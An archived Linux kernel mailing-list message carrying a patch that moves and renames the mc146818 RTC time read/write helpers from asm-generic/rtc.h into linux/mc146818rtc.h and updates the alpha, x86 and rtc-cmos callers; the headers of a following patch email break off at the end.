Original-Received: by 10.28.169.143 with SMTP id s137ls316071wme.28.canary; Mon, 30 May
 2016 11:58:06 -0700 (PDT)
X-Received: by 10.28.26.88 with SMTP id a85mr1196667wma.0.1464634686197;
        Mon, 30 May 2016 11:58:06 -0700 (PDT)
Original-Received: from mout.kundenserver.de (mout.kundenserver.de. [217.72.192.74])
        by gmr-mx.google.com with ESMTPS id s140si1474547wme.1.2016.05.30.11.58.06
        for <rtc-linux-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org>
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Mon, 30 May 2016 11:58:06 -0700 (PDT)
Received-SPF: neutral (google.com: 217.72.192.74 is neither permitted nor denied by best guess record for domain of arnd-r2nGTMty4D4@public.gmane.org) client-ip=217.72.192.74;
Original-Received: from wuerfel.lan. ([78.42.132.4]) by mrelayeu.kundenserver.de
 (mreue104) with ESMTPA (Nemesis) id 0M731J-1bSZfM12zF-00wmCx; Mon, 30 May
 2016 20:57:57 +0200
X-Mailer: git-send-email 2.7.0
In-Reply-To: <1464634684-1248135-1-git-send-email-arnd-r2nGTMty4D4@public.gmane.org>
X-Provags-ID: V03:K0:fjZE0d4y4EYuowh80NT1fVXQgpErEgI3RQ0AhwT47114juHWv9S
 7kZSaomggSQ5hbAwiVU7bb9ErsPFiLVCfKU3qZoDxyDubgnoY7lBNuC4+IJBc8ZSxy+W620
 gzWdPAC9a+a8fahAmKPcbq0bUSmxAok+zlCxTrE5MGArJgT7NNof3x7LbFGcVnEAru95vYm
 wqP4FTWoolOw/bBxS7CZQ==
X-UI-Out-Filterresults: notjunk:1;V01:K0:c0t4CetSlm0=:6TjECgdj3we/Kn/DGb2/Yx
 uR5Dv+WSVikb/rYO4iqdU3tHR0nf2eREgl2htKYy5aiYn+fQIvUf1+A7b34hGjUPVKEDGoh+3
 yg4ENZTeK/SZDiPHWNfks/9/H+balaPVITqAqMJJRdzVX5+hd5Zxr8VfPOHNpTCq9LEst1f8i
 Ah7Jid817ogJmJf44l5QpllaSX+IzM5vVD3em16D0RJKV5tAT8VlyeSqUUcKrcxu2Uc+wQwDY
 0pjCgI9Gs19FNstfIFUkd3wA3bRoRjOybvXQlz+jGMvN8uWRRPQoPTeVKSsr1IAXOXATw/Rde
 wDf5pmZT9TI2VD8bM0a5KntdhgyPRh1zcRyDxE3XlqhRjjG4GbNqOvJUTurkgnz25YGrZBfbt
 q9UhuBF6XoNkYFwebZVDPBTeCCWZRwOgI4kPuZVQWViOLmXoMIaU15WSG4xGiD+5M2eje+rba
 P0yoFhiF9Jso5sgwrwKrO1L7MCZ9gBwyyGCLeVmYQZc/yMURjpLJLbBPiM1bcTSC0gt5wk50U
 GjxSiL6z0q+/J+qBtpsg+OLVBqeLqou0rdpWoJsPJIvAXHNnIRPgMcgMFmjRuMtkSsV2R2YSB
 3A7ljVSriFJ/OTQngW9DMIsymYD0gzcdiXVwQt+iC7jq2utAhI7P3SdD0QZS9yVzgu6f7dWmU
 q5aFURmI9auDIwimxV+2YyX02XsnBYFnvNqEIvTRIWB1CNSH4pEO8jeAP7Fl8Mlz5KbI=
X-Original-Sender: arnd-r2nGTMty4D4@public.gmane.org
X-Original-Authentication-Results: gmr-mx.google.com;       spf=neutral
 (google.com: 217.72.192.74 is neither permitted nor denied by best guess
 record for domain of arnd-r2nGTMty4D4@public.gmane.org) smtp.mailfrom=arnd-r2nGTMty4D4@public.gmane.org
Precedence: list
Mailing-list: list rtc-linux-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org; contact rtc-linux+owners-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org
List-ID: <rtc-linux.googlegroups.com>
X-Spam-Checked-In-Group: rtc-linux-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org
X-Google-Group-Id: 712029733259
List-Post: <https://groups.google.com/group/rtc-linux/post>, <mailto:rtc-linux-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org>
List-Help: <https://groups.google.com/support/>, <mailto:rtc-linux+help-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org>
List-Archive: <https://groups.google.com/group/rtc-linux
List-Subscribe: <https://groups.google.com/group/rtc-linux/subscribe>, <mailto:rtc-linux+subscribe-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org>
List-Unsubscribe: <mailto:googlegroups-manage+712029733259+unsubscribe-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org>,
 <https://groups.google.com/group/rtc-linux/subscribe>
Xref: news.gmane.org gmane.linux.drivers.rtc:36 gmane.linux.ports.alpha:3742 gmane.linux.kernel:2230340 gmane.linux.ports.parisc:26796 gmane.linux.ports.ppc64.devel:127844 gmane.linux.ports.sh.devel:54129 gmane.linux.kernel.cross-arch:32176
Archived-At: <http://permalink.gmane.org/gmane.linux.drivers.rtc/36>

Drivers should not really include stuff from asm-generic directly,
and the PC-style cmos rtc driver does this in order to reuse the
mc146818 implementation of get_rtc_time/set_rtc_time rather than
the architecture specific one for the architecture it gets built for.

To make it more obvious what is going on, this moves and renames the
two functions into include/linux/mc146818rtc.h, which holds the
other mc146818 specific code. Ideally it would be in a .c file,
but that would require extra infrastructure as the functions are
called by multiple drivers with conflicting dependencies.

With this change, the asm-generic/rtc.h header also becomes much
more generic, so it can be reused more easily across any architecture
that still relies on the genrtc driver.

The only caller of the internal __get_rtc_time/__set_rtc_time
functions is in arch/alpha/kernel/rtc.c, and we just change those
over to the new naming.

Signed-off-by: Arnd Bergmann <arnd-r2nGTMty4D4@public.gmane.org>
Acked-by: Alexandre Belloni <alexandre.belloni-wi1+55ScJUtKEb57/3fJTNBPR1lH4CV8@public.gmane.org>
---
 arch/alpha/kernel/rtc.c                      |   6 +-
 arch/x86/include/asm/mc146818rtc.h           |   1 -
 arch/x86/platform/efi/efi_64.c               |   1 +
 arch/x86/platform/intel-mid/intel_mid_vrtc.c |   1 +
 drivers/rtc/rtc-cmos.c                       |  12 +-
 include/asm-generic/rtc.h                    | 206 +--------------------------
 include/linux/mc146818rtc.h                  | 194 +++++++++++++++++++++++++
 7 files changed, 209 insertions(+), 212 deletions(-)

diff --git a/arch/alpha/kernel/rtc.c b/arch/alpha/kernel/rtc.c
index f535a3fd0f60..ceed68c7500b 100644
--- a/arch/alpha/kernel/rtc.c
+++ b/arch/alpha/kernel/rtc.c
@@ -15,8 +15,6 @@
 #include <linux/rtc.h>
 #include <linux/platform_device.h>
 
-#include <asm/rtc.h>
-
 #include "proto.h"
 
 
@@ -81,7 +79,7 @@ init_rtc_epoch(void)
 static int
 alpha_rtc_read_time(struct device *dev, struct rtc_time *tm)
 {
-	__get_rtc_time(tm);
+	mc146818_get_time(tm);
 
 	/* Adjust for non-default epochs.  It's easier to depend on the
 	   generic __get_rtc_time and adjust the epoch here than create
@@ -112,7 +110,7 @@ alpha_rtc_set_time(struct device *dev, struct rtc_time *tm)
 		tm = &xtm;
 	}
 
-	return __set_rtc_time(tm);
+	return mc146818_set_time(tm);
 }
 
 static int
diff --git a/arch/x86/include/asm/mc146818rtc.h b/arch/x86/include/asm/mc146818rtc.h
index 0f555cc31984..24acd9ba7837 100644
--- a/arch/x86/include/asm/mc146818rtc.h
+++ b/arch/x86/include/asm/mc146818rtc.h
@@ -6,7 +6,6 @@
 
 #include <asm/io.h>
 #include <asm/processor.h>
-#include <linux/mc146818rtc.h>
 
 #ifndef RTC_PORT
 #define RTC_PORT(x)	(0x70 + (x))
diff --git a/arch/x86/platform/efi/efi_64.c b/arch/x86/platform/efi/efi_64.c
index 6e7242be1c87..663c282801f3 100644
--- a/arch/x86/platform/efi/efi_64.c
+++ b/arch/x86/platform/efi/efi_64.c
@@ -25,6 +25,7 @@
 #include <linux/bootmem.h>
 #include <linux/ioport.h>
 #include <linux/module.h>
+#include <linux/mc146818rtc.h>
 #include <linux/efi.h>
 #include <linux/uaccess.h>
 #include <linux/io.h>
diff --git a/arch/x86/platform/intel-mid/intel_mid_vrtc.c b/arch/x86/platform/intel-mid/intel_mid_vrtc.c
index ee40fcb6e54d..58024862a7eb 100644
--- a/arch/x86/platform/intel-mid/intel_mid_vrtc.c
+++ b/arch/x86/platform/intel-mid/intel_mid_vrtc.c
@@ -22,6 +22,7 @@
 #include <linux/init.h>
 #include <linux/sfi.h>
 #include <linux/platform_device.h>
+#include <linux/mc146818rtc.h>
 
 #include <asm/intel-mid.h>
 #include <asm/intel_mid_vrtc.h>
diff --git a/drivers/rtc/rtc-cmos.c b/drivers/rtc/rtc-cmos.c
index fbe9c72438e1..cf8eb98382ce 100644
--- a/drivers/rtc/rtc-cmos.c
+++ b/drivers/rtc/rtc-cmos.c
@@ -43,7 +43,7 @@
 #include <linux/of_platform.h>
 
 /* this is for "generic access to PC-style RTC" using CMOS_READ/CMOS_WRITE */
-#include <asm-generic/rtc.h>
+#include <linux/mc146818rtc.h>
 
 struct cmos_rtc {
 	struct rtc_device	*rtc;
@@ -190,10 +190,10 @@ static inline void cmos_write_bank2(unsigned char val, unsigned char addr)
 static int cmos_read_time(struct device *dev, struct rtc_time *t)
 {
 	/* REVISIT:  if the clock has a "century" register, use
-	 * that instead of the heuristic in get_rtc_time().
+	 * that instead of the heuristic in mc146818_get_time().
 	 * That'll make Y3K compatility (year > 2070) easy!
 	 */
-	get_rtc_time(t);
+	mc146818_get_time(t);
 	return 0;
 }
 
@@ -205,7 +205,7 @@ static int cmos_set_time(struct device *dev, struct rtc_time *t)
 	 * takes effect exactly 500ms after we write the register.
 	 * (Also queueing and other delays before we get this far.)
 	 */
-	return set_rtc_time(t);
+	return mc146818_set_time(t);
 }
 
 static int cmos_read_alarm(struct device *dev, struct rtc_wkalrm *t)
@@ -1142,14 +1142,14 @@ static __init void cmos_of_init(struct platform_device *pdev)
 	if (val)
 		CMOS_WRITE(be32_to_cpup(val), RTC_FREQ_SELECT);
 
-	get_rtc_time(&time);
+	cmos_read_time(&pdev->dev, &time);
 	ret = rtc_valid_tm(&time);
 	if (ret) {
 		struct rtc_time def_time = {
 			.tm_year = 1,
 			.tm_mday = 1,
 		};
-		set_rtc_time(&def_time);
+		cmos_set_time(&pdev->dev, &def_time);
 	}
 }
 #else
diff --git a/include/asm-generic/rtc.h b/include/asm-generic/rtc.h
index 4e3b6558331e..4fcff22cd707 100644
--- a/include/asm-generic/rtc.h
+++ b/include/asm-generic/rtc.h
@@ -12,12 +12,12 @@
 #ifndef __ASM_RTC_H__
 #define __ASM_RTC_H__
 
-#include <linux/mc146818rtc.h>
 #include <linux/rtc.h>
-#include <linux/bcd.h>
-#include <linux/delay.h>
-#ifdef CONFIG_ACPI
-#include <linux/acpi.h>
+
+#ifndef get_rtc_time
+#include <linux/mc146818rtc.h>
+#define get_rtc_time mc146818_get_time
+#define set_rtc_time mc146818_set_time
 #endif
 
 #define RTC_PIE 0x40		/* periodic interrupt enable */
@@ -31,202 +31,6 @@
 #define RTC_24H 0x02		/* 24 hour mode - else hours bit 7 means pm */
 #define RTC_DST_EN 0x01	        /* auto switch DST - works f. USA only */
 
-/*
- * Returns true if a clock update is in progress
- */
-static inline unsigned char rtc_is_updating(void)
-{
-	unsigned char uip;
-	unsigned long flags;
-
-	spin_lock_irqsave(&rtc_lock, flags);
-	uip = (CMOS_READ(RTC_FREQ_SELECT) & RTC_UIP);
-	spin_unlock_irqrestore(&rtc_lock, flags);
-	return uip;
-}
-
-static inline unsigned int __get_rtc_time(struct rtc_time *time)
-{
-	unsigned char ctrl;
-	unsigned long flags;
-	unsigned char century = 0;
-
-#ifdef CONFIG_MACH_DECSTATION
-	unsigned int real_year;
-#endif
-
-	/*
-	 * read RTC once any update in progress is done. The update
-	 * can take just over 2ms. We wait 20ms. There is no need to
-	 * to poll-wait (up to 1s - eeccch) for the falling edge of RTC_UIP.
-	 * If you need to know *exactly* when a second has started, enable
-	 * periodic update complete interrupts, (via ioctl) and then 
-	 * immediately read /dev/rtc which will block until you get the IRQ.
-	 * Once the read clears, read the RTC time (again via ioctl). Easy.
-	 */
-	if (rtc_is_updating())
-		mdelay(20);
-
-	/*
-	 * Only the values that we read from the RTC are set. We leave
-	 * tm_wday, tm_yday and tm_isdst untouched. Even though the
-	 * RTC has RTC_DAY_OF_WEEK, we ignore it, as it is only updated
-	 * by the RTC when initially set to a non-zero value.
-	 */
-	spin_lock_irqsave(&rtc_lock, flags);
-	time->tm_sec = CMOS_READ(RTC_SECONDS);
-	time->tm_min = CMOS_READ(RTC_MINUTES);
-	time->tm_hour = CMOS_READ(RTC_HOURS);
-	time->tm_mday = CMOS_READ(RTC_DAY_OF_MONTH);
-	time->tm_mon = CMOS_READ(RTC_MONTH);
-	time->tm_year = CMOS_READ(RTC_YEAR);
-#ifdef CONFIG_MACH_DECSTATION
-	real_year = CMOS_READ(RTC_DEC_YEAR);
-#endif
-#ifdef CONFIG_ACPI
-	if (acpi_gbl_FADT.header.revision >= FADT2_REVISION_ID &&
-	    acpi_gbl_FADT.century)
-		century = CMOS_READ(acpi_gbl_FADT.century);
-#endif
-	ctrl = CMOS_READ(RTC_CONTROL);
-	spin_unlock_irqrestore(&rtc_lock, flags);
-
-	if (!(ctrl & RTC_DM_BINARY) || RTC_ALWAYS_BCD)
-	{
-		time->tm_sec = bcd2bin(time->tm_sec);
-		time->tm_min = bcd2bin(time->tm_min);
-		time->tm_hour = bcd2bin(time->tm_hour);
-		time->tm_mday = bcd2bin(time->tm_mday);
-		time->tm_mon = bcd2bin(time->tm_mon);
-		time->tm_year = bcd2bin(time->tm_year);
-		century = bcd2bin(century);
-	}
-
-#ifdef CONFIG_MACH_DECSTATION
-	time->tm_year += real_year - 72;
-#endif
-
-	if (century)
-		time->tm_year += (century - 19) * 100;
-
-	/*
-	 * Account for differences between how the RTC uses the values
-	 * and how they are defined in a struct rtc_time;
-	 */
-	if (time->tm_year <= 69)
-		time->tm_year += 100;
-
-	time->tm_mon--;
-
-	return RTC_24H;
-}
-
-#ifndef get_rtc_time
-#define get_rtc_time	__get_rtc_time
-#endif
-
-/* Set the current date and time in the real time clock. */
-static inline int __set_rtc_time(struct rtc_time *time)
-{
-	unsigned long flags;
-	unsigned char mon, day, hrs, min, sec;
-	unsigned char save_control, save_freq_select;
-	unsigned int yrs;
-#ifdef CONFIG_MACH_DECSTATION
-	unsigned int real_yrs, leap_yr;
-#endif
-	unsigned char century = 0;
-
-	yrs = time->tm_year;
-	mon = time->tm_mon + 1;   /* tm_mon starts at zero */
-	day = time->tm_mday;
-	hrs = time->tm_hour;
-	min = time->tm_min;
-	sec = time->tm_sec;
-
-	if (yrs > 255)	/* They are unsigned */
-		return -EINVAL;
-
-	spin_lock_irqsave(&rtc_lock, flags);
-#ifdef CONFIG_MACH_DECSTATION
-	real_yrs = yrs;
-	leap_yr = ((!((yrs + 1900) % 4) && ((yrs + 1900) % 100)) ||
-			!((yrs + 1900) % 400));
-	yrs = 72;
-
-	/*
-	 * We want to keep the year set to 73 until March
-	 * for non-leap years, so that Feb, 29th is handled
-	 * correctly.
-	 */
-	if (!leap_yr && mon < 3) {
-		real_yrs--;
-		yrs = 73;
-	}
-#endif
-
-#ifdef CONFIG_ACPI
-	if (acpi_gbl_FADT.header.revision >= FADT2_REVISION_ID &&
-	    acpi_gbl_FADT.century) {
-		century = (yrs + 1900) / 100;
-		yrs %= 100;
-	}
-#endif
-
-	/* These limits and adjustments are independent of
-	 * whether the chip is in binary mode or not.
-	 */
-	if (yrs > 169) {
-		spin_unlock_irqrestore(&rtc_lock, flags);
-		return -EINVAL;
-	}
-
-	if (yrs >= 100)
-		yrs -= 100;
-
-	if (!(CMOS_READ(RTC_CONTROL) & RTC_DM_BINARY)
-	    || RTC_ALWAYS_BCD) {
-		sec = bin2bcd(sec);
-		min = bin2bcd(min);
-		hrs = bin2bcd(hrs);
-		day = bin2bcd(day);
-		mon = bin2bcd(mon);
-		yrs = bin2bcd(yrs);
-		century = bin2bcd(century);
-	}
-
-	save_control = CMOS_READ(RTC_CONTROL);
-	CMOS_WRITE((save_control|RTC_SET), RTC_CONTROL);
-	save_freq_select = CMOS_READ(RTC_FREQ_SELECT);
-	CMOS_WRITE((save_freq_select|RTC_DIV_RESET2), RTC_FREQ_SELECT);
-
-#ifdef CONFIG_MACH_DECSTATION
-	CMOS_WRITE(real_yrs, RTC_DEC_YEAR);
-#endif
-	CMOS_WRITE(yrs, RTC_YEAR);
-	CMOS_WRITE(mon, RTC_MONTH);
-	CMOS_WRITE(day, RTC_DAY_OF_MONTH);
-	CMOS_WRITE(hrs, RTC_HOURS);
-	CMOS_WRITE(min, RTC_MINUTES);
-	CMOS_WRITE(sec, RTC_SECONDS);
-#ifdef CONFIG_ACPI
-	if (acpi_gbl_FADT.header.revision >= FADT2_REVISION_ID &&
-	    acpi_gbl_FADT.century)
-		CMOS_WRITE(century, acpi_gbl_FADT.century);
-#endif
-
-	CMOS_WRITE(save_control, RTC_CONTROL);
-	CMOS_WRITE(save_freq_select, RTC_FREQ_SELECT);
-
-	spin_unlock_irqrestore(&rtc_lock, flags);
-
-	return 0;
-}
-
-#ifndef set_rtc_time
-#define set_rtc_time	__set_rtc_time
-#endif
-
 static inline unsigned int get_rtc_ss(void)
 {
 	struct rtc_time h;
diff --git a/include/linux/mc146818rtc.h b/include/linux/mc146818rtc.h
index 433e0c74d643..e9e346b37846 100644
--- a/include/linux/mc146818rtc.h
+++ b/include/linux/mc146818rtc.h
@@ -14,6 +14,12 @@
 #include <asm/io.h>
 #include <linux/rtc.h>			/* get the user-level API */
 #include <asm/mc146818rtc.h>		/* register access macros */
+#include <linux/bcd.h>
+#include <linux/delay.h>
+
+#ifdef CONFIG_ACPI
+#include <linux/acpi.h>
+#endif
 
 #ifdef __KERNEL__
 #include <linux/spinlock.h>		/* spinlock_t */
@@ -120,4 +126,192 @@ struct cmos_rtc_board_info {
 #define RTC_IO_EXTENT_USED      RTC_IO_EXTENT
 #endif /* ARCH_RTC_LOCATION */
 
+/*
+ * Returns true if a clock update is in progress
+ */
+static inline unsigned char mc146818_is_updating(void)
+{
+	unsigned char uip;
+	unsigned long flags;
+
+	spin_lock_irqsave(&rtc_lock, flags);
+	uip = (CMOS_READ(RTC_FREQ_SELECT) & RTC_UIP);
+	spin_unlock_irqrestore(&rtc_lock, flags);
+	return uip;
+}
+
+static inline unsigned int mc146818_get_time(struct rtc_time *time)
+{
+	unsigned char ctrl;
+	unsigned long flags;
+	unsigned char century = 0;
+
+#ifdef CONFIG_MACH_DECSTATION
+	unsigned int real_year;
+#endif
+
+	/*
+	 * read RTC once any update in progress is done. The update
+	 * can take just over 2ms. We wait 20ms. There is no need to
+	 * to poll-wait (up to 1s - eeccch) for the falling edge of RTC_UIP.
+	 * If you need to know *exactly* when a second has started, enable
+	 * periodic update complete interrupts, (via ioctl) and then 
+	 * immediately read /dev/rtc which will block until you get the IRQ.
+	 * Once the read clears, read the RTC time (again via ioctl). Easy.
+	 */
+	if (mc146818_is_updating())
+		mdelay(20);
+
+	/*
+	 * Only the values that we read from the RTC are set. We leave
+	 * tm_wday, tm_yday and tm_isdst untouched. Even though the
+	 * RTC has RTC_DAY_OF_WEEK, we ignore it, as it is only updated
+	 * by the RTC when initially set to a non-zero value.
+	 */
+	spin_lock_irqsave(&rtc_lock, flags);
+	time->tm_sec = CMOS_READ(RTC_SECONDS);
+	time->tm_min = CMOS_READ(RTC_MINUTES);
+	time->tm_hour = CMOS_READ(RTC_HOURS);
+	time->tm_mday = CMOS_READ(RTC_DAY_OF_MONTH);
+	time->tm_mon = CMOS_READ(RTC_MONTH);
+	time->tm_year = CMOS_READ(RTC_YEAR);
+#ifdef CONFIG_MACH_DECSTATION
+	real_year = CMOS_READ(RTC_DEC_YEAR);
+#endif
+#ifdef CONFIG_ACPI
+	if (acpi_gbl_FADT.header.revision >= FADT2_REVISION_ID &&
+	    acpi_gbl_FADT.century)
+		century = CMOS_READ(acpi_gbl_FADT.century);
+#endif
+	ctrl = CMOS_READ(RTC_CONTROL);
+	spin_unlock_irqrestore(&rtc_lock, flags);
+
+	if (!(ctrl & RTC_DM_BINARY) || RTC_ALWAYS_BCD)
+	{
+		time->tm_sec = bcd2bin(time->tm_sec);
+		time->tm_min = bcd2bin(time->tm_min);
+		time->tm_hour = bcd2bin(time->tm_hour);
+		time->tm_mday = bcd2bin(time->tm_mday);
+		time->tm_mon = bcd2bin(time->tm_mon);
+		time->tm_year = bcd2bin(time->tm_year);
+		century = bcd2bin(century);
+	}
+
+#ifdef CONFIG_MACH_DECSTATION
+	time->tm_year += real_year - 72;
+#endif
+
+	if (century)
+		time->tm_year += (century - 19) * 100;
+
+	/*
+	 * Account for differences between how the RTC uses the values
+	 * and how they are defined in a struct rtc_time;
+	 */
+	if (time->tm_year <= 69)
+		time->tm_year += 100;
+
+	time->tm_mon--;
+
+	return RTC_24H;
+}
+
+/* Set the current date and time in the real time clock. */
+static inline int mc146818_set_time(struct rtc_time *time)
+{
+	unsigned long flags;
+	unsigned char mon, day, hrs, min, sec;
+	unsigned char save_control, save_freq_select;
+	unsigned int yrs;
+#ifdef CONFIG_MACH_DECSTATION
+	unsigned int real_yrs, leap_yr;
+#endif
+	unsigned char century = 0;
+
+	yrs = time->tm_year;
+	mon = time->tm_mon + 1;   /* tm_mon starts at zero */
+	day = time->tm_mday;
+	hrs = time->tm_hour;
+	min = time->tm_min;
+	sec = time->tm_sec;
+
+	if (yrs > 255)	/* They are unsigned */
+		return -EINVAL;
+
+	spin_lock_irqsave(&rtc_lock, flags);
+#ifdef CONFIG_MACH_DECSTATION
+	real_yrs = yrs;
+	leap_yr = ((!((yrs + 1900) % 4) && ((yrs + 1900) % 100)) ||
+			!((yrs + 1900) % 400));
+	yrs = 72;
+
+	/*
+	 * We want to keep the year set to 73 until March
+	 * for non-leap years, so that Feb, 29th is handled
+	 * correctly.
+	 */
+	if (!leap_yr && mon < 3) {
+		real_yrs--;
+		yrs = 73;
+	}
+#endif
+
+#ifdef CONFIG_ACPI
+	if (acpi_gbl_FADT.header.revision >= FADT2_REVISION_ID &&
+	    acpi_gbl_FADT.century) {
+		century = (yrs + 1900) / 100;
+		yrs %= 100;
+	}
+#endif
+
+	/* These limits and adjustments are independent of
+	 * whether the chip is in binary mode or not.
+	 */
+	if (yrs > 169) {
+		spin_unlock_irqrestore(&rtc_lock, flags);
+		return -EINVAL;
+	}
+
+	if (yrs >= 100)
+		yrs -= 100;
+
+	if (!(CMOS_READ(RTC_CONTROL) & RTC_DM_BINARY)
+	    || RTC_ALWAYS_BCD) {
+		sec = bin2bcd(sec);
+		min = bin2bcd(min);
+		hrs = bin2bcd(hrs);
+		day = bin2bcd(day);
+		mon = bin2bcd(mon);
+		yrs = bin2bcd(yrs);
+		century = bin2bcd(century);
+	}
+
+	save_control = CMOS_READ(RTC_CONTROL);
+	CMOS_WRITE((save_control|RTC_SET), RTC_CONTROL);
+	save_freq_select = CMOS_READ(RTC_FREQ_SELECT);
+	CMOS_WRITE((save_freq_select|RTC_DIV_RESET2), RTC_FREQ_SELECT);
+
+#ifdef CONFIG_MACH_DECSTATION
+	CMOS_WRITE(real_yrs, RTC_DEC_YEAR);
+#endif
+	CMOS_WRITE(yrs, RTC_YEAR);
+	CMOS_WRITE(mon, RTC_MONTH);
+	CMOS_WRITE(day, RTC_DAY_OF_MONTH);
+	CMOS_WRITE(hrs, RTC_HOURS);
+	CMOS_WRITE(min, RTC_MINUTES);
+	CMOS_WRITE(sec, RTC_SECONDS);
+#ifdef CONFIG_ACPI
+	if (acpi_gbl_FADT.header.revision >= FADT2_REVISION_ID &&
+	    acpi_gbl_FADT.century)
+		CMOS_WRITE(century, acpi_gbl_FADT.century);
+#endif
+
+	CMOS_WRITE(save_control, RTC_CONTROL);
+	CMOS_WRITE(save_freq_select, RTC_FREQ_SELECT);
+
+	spin_unlock_irqrestore(&rtc_lock, flags);
+
+	return 0;
+}
+
 #endif /* _MC146818RTC_H */
-- 
2.7.0

-- 
You received this message because you are subscribed to "rtc-linux".
Membership options at http://groups.google.com/group/rtc-linux .
Please read http://groups.google.com/group/rtc-linux/web/checklist
before submitting a driver.
--- 
You received this message because you are subscribed to the Google Groups "rtc-linux" group.
To unsubscribe from this group and stop receiving emails from it, send an email to rtc-linux+unsubscribe-/JYPxA39Uh5TLH3MbocFF+G/Ez6ZCGd0@public.gmane.org
For more options, visit https://groups.google.com/d/optout.


From - Thu Nov 08 21:38:56 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Arnd Bergmann <arnd-r2nGTMty4D4@public.gmane.org>
Newsgroups: gmane.linux.drivers.rtc,gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.kernel.cross-arch
Subject: [PATCH v4 08/16] char/genrtc: remove parisc support
Date: Mon, 30 May 2016 20:57:56 +0200
Lines: 176
Approved: news@gmane.org
Message-ID: <1464634684-1248135-9-git-send-email-arnd@arndb.de>
References: <1464634684-1248135-1-git-send-email-arnd@arndb.de>
Reply-To: rtc-linux-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: ger.gmane.org 1464634703 4653 80.91.229.3 (30 May 2016 18:58:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 30 May 2016 18:58:23 +0000 (UTC)
Cc: Arnd Bergmann <arnd-r2nGTMty4D4@public.gmane.org>,
	geert-Td1EMuHUCqxL1ZNQvxDV9g@public.gmane.org,
	gregkh-hQyY1W1yCW8ekmWlsbkhG0B+6BGkLq7r@public.gmane.org,
	deller-Mmb7MZpHnFY@public.gmane.org,
	benh-XVmvHMARGAS8U2dJNN8I7kB+6BGkLq7r@public.gmane.org,
	mpe-Gsx/Oe8HsFggBc27wqDAHg@public.gmane.org,
	dalias-8zAoT0mYgF4@public.gmane.org,
	dhowells-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org,
	linux-alpha-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	a.zummo-BfzFCNDTiLLj+vYz1yj4TQ@public.gmane.org,
	linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linuxppc-dev-uLR06cmDAlY/bJ5BZ2RsiQ@public.gmane.org,
	linux-sh-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-m68k-cunTk1MwBs8S/qaLPR03pWD2FQJk+8+b@public.gmane.org,
	rtc-linux-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org,
	linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
To: Alexandre Belloni <alexandre.belloni-wi1+55ScJUtKEb57/3fJTNBPR1lH4CV8@public.gmane.org>
Original-X-From: rtc-linux+bncBDEKVJM7XAHRBPM2WK5AKGQE3ON4ABA-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org Mon May 30 20:58:10 2016
Return-path: <rtc-linux+bncBDEKVJM7XAHRBPM2WK5AKGQE3ON4ABA-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org>
Envelope-to: gldr-rtc-linux@m.gmane.org
Original-Received: from mail-lb0-f189.google.com ([209.85.217.189])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <rtc-linux+bncBDEKVJM7XAHRBPM2WK5AKGQE3ON4ABA-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org>)
	id 1b7SO6-0002xG-8d
	for gldr-rtc-linux@m.gmane.org; Mon, 30 May 2016 20:58:06 +0200
Original-Received: by mail-lb0-f189.google.com with SMTP id dj16sf35324690lbb.0
        for <gldr-rtc-linux@m.gmane.org>; Mon, 30 May 2016 11:58:06 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=googlegroups.com; s=20120806;
        h=sender:mime-version:from:to:cc:subject:date:message-id:in-reply-to
         :references:x-original-sender:x-original-authentication-results
         :reply-to:precedence:mailing-list:list-id:x-spam-checked-in-group
         :list-post:list-help:list-archive:list-subscribe:list-unsubscribe;
        bh=TvJQ0I9zKCPLl3wLTSizZ86XvhsObMjhmk6EvDixKxM=;
        b=yej99qwea5No+vbtWMHLhaFhuKx4VDjyZsrSCCAXMxdza3IEsqpPb4Auh/EEU7vDsU
         XNXh/eySNTWn1NoMZpaBHbSRM/Qe7pcFjDaJNFza/PM1NDf4vZbmOX1vPmi93qXVHZM4
         pXQvu4m8d+NovX8A7UiMlk0wf4aEAyGVyXjbwMl2wzaZhg18vOgOOgNJhMtT6BrM/l54
         6x+xyNL6f9sGKGyvsEemXPGEnxJudYAseESawMPZHOiwi0uo+J4yd1KJQ/sNLU4FK0s6
         thNIK5LWAGdpLosvlhMtVM0uW2CCLiqYJEdA4/fbo69d8uiaMXhwQ7/8XViYGDdFpt57
         EJWg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=sender:x-gm-message-state:mime-version:from:to:cc:subject:date
         :message-id:in-reply-to:references:x-original-sender
         :x-original-authentication-results:reply-to:precedence:mailing-list
         :list-id:x-spam-checked-in-group:list-post:list-help:list-archive
         :list-subscribe:list-unsubscribe;
        bh=TvJQ0I9zKCPLl3wLTSizZ86XvhsObMjhmk6EvDixKxM=;
        b=YQg99jduL69W6bxLlCT6a4m9Dek0uvU5dQen5cPSZtaGmQrW3O5+Pu2GeMPcVHqPBz
